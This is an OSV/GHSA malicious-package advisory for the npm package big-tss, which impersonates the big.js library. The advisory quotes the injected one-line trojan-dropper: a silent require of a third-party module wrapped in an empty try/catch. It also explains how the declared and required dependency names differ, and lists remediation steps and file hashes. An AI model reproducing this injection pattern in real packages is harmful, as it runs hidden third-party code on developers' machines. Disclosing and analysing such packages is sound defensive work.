MAL-2026-13613

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/big-tss/MAL-2026-13613.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-13613
Aliases
  • GHSA-67vr-mxhp-69wm
Published
2026-08-07T14:35:08Z
Modified
2026-12-03T17:45:19Z
Summary
Malicious code in big-tss (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (022f32d17f1b3fa4c33727aa2309fe4e75706c842ac04b25a48738fdb9aa3d2b)

big-tss@5.0.5 impersonates the popular big.js arbitrary-precision math library and ships upstream big.js source with an injected block at the top of the main module: try { const doc = require("npm-doc-dev"); doc.from_str() } catch (error) {}. On any require('big-tss') this synchronously loads and executes the top-level code of npm-doc-dev — a package outside the big.js publisher — and calls a method on it, with a bare try/catch swallowing any failure so the load is silent. The package.json declares a different dependency name, npm-dc-dev, than the code actually requires (npm-doc-dev), so the declared dependency tree does not reflect the module that is actually loaded at import time. The name resemblance to big.js, the divergence between declared and required dependency names, and the empty catch around the injected require together form a trojan-dropper pattern in which arbitrary code from a third party is executed on the installer's machine whenever a consumer imports the package.

Source: ghsa-malware (52a438bfaf8ff156a4a7f958f37bdb50e5d426d26621dc1b213e11580bb433d5)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-017104",
            "import_time":  "2026-08-07T14:51:19.157099613Z",
            "modified_time":  "2026-08-07T14:35:08Z",
            "sha256":  "022f32d17f1b3fa4c33727aa2309fe4e75706c842ac04b25a48738fdb9aa3d2b",
            "source":  "amazon-inspector",
            "versions":  [
                "5.0.5"
            ]
        },
        {
            "id":  "IN-MAL-2026-018279",
            "import_time":  "2026-08-19T02:31:07.742610837Z",
            "modified_time":  "2026-08-19T01:51:51Z",
            "sha256":  "749899de781af57d75179b78ab438b8a0b02348d2f5829dfb434b8c163d5a80f",
            "source":  "amazon-inspector",
            "versions":  [
                "5.0.4"
            ]
        },
        {
            "id":  "GHSA-67vr-mxhp-69wm",
            "import_time":  "2026-12-03T17:22:30.111314390Z",
            "modified_time":  "2026-12-03T16:33:35Z",
            "ranges":  [
                {
                    "events":  [
                        {
                            "introduced":  "0"
                        }
                    ],
                    "type":  "SEMVER"
                }
            ],
            "sha256":  "52a438bfaf8ff156a4a7f958f37bdb50e5d426d26621dc1b213e11580bb433d5",
            "source":  "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / big-tss

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

5.*
5.0.4
5.0.5

Database specific

cwes
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files":  [
        {
            "path":  "big.js",
            "sha256":  "15cb51fdb8e9e63c975f7bb5a45b85f98a0515396e741408d9d232c8c1a228b8",
            "tlsh":  "3dc2658c3ac67579593363788f465088eb38525712c8b286b4ae63b46f78cb107b5fdc"
        },
        {
            "path":  "package.json",
            "sha256":  "0d048a3a86c8409baeacdcdcaee2848bf589853277ddc27c595b188294a4f704",
            "tlsh":  "c9210167caa09da70af89b947c6c43aaf1161b1f10a08c57b0bb131c4f3355b2195bbd"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "big-tss-5.0.5.tgz",
            "hashes":  {
                "sha1":  "79f59bc5b246b4e1cfb5259b36c7aa3f22ef35bd",
                "sha512_sri":  "sha512-jUX7U3zIplBTb6sNZIXUpAIiJIatMr4VxZ7rgLXG/q5fFuYlhJCeXNGH8J3jeEPmEfjdkfkae6QsBnGCcM2GOA=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/big-tss/MAL-2026-13613.json"